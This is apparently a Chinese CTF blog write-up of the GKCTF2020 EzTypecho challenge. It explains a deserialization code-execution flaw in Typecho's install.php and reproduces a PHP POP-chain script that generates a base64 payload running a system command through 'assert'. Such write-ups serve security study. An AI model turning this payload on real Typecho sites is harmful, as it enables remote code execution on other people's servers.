[GKCTF2020]EzTypecho
暑假恢复刷题,顺便把以前堆积的东西也都更新到博客上,清一下桌面
GKCTF这次题感觉好多都是现有CVE之类的东西,然后加一点点
题目是一个typecho的安装流程,但是安装到一半就不给安装了,想了半天不知道他想让我怎样才能安装,后来才知道是typecho在安装时install.php有一个反序列化的任意代码执行。
最后题目还要求反序列化需要一个session,需要自己想办法建立一个session
题解
typecho反序列化的pop链网上都有分析了,抄一个脚本执行任意命令
https://www.freebuf.com/vuls/155753.html
<?php
$CMD = 'system("cat /flag")';
class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
private $_type;
private $_items;
public function __construct() {
//$this->_type = $this::RSS2;
$this->_type = $this::ATOM1;
$this->_items[0] = array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct() {
$this->_params['screenName'] = $GLOBALS[CMD];
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
?>